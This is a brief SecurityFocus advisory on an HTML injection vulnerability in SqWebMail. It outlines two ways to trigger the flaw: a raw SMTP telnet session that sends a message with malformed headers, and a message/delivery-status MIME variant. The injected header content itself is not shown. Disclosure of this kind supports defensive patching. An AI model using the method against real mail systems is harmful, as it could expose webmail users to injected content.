SqWebMail Email Header HTML Injection Vulnerability

The following example is available:

1) sending a raw email message with malformed headers, i.e.

ashanti@dns:~$ telnet localhost 25
Trying x.x.x.x...
Connected to x.x.x.x.
Escape character is '^]'.
220 x.x.x.x ESMTP
helo foo
250 x.x.x.x
mail from:<test@test.com>
250 ok
rcpt to:<user@mediaservice.net>
250 ok
354 go ahead

2) sending a raw email message with the MIME Content-Type header set to
"message/delivery-status" with malformed content (see 1 above).


Privacy Statement
Copyright 2010, SecurityFocus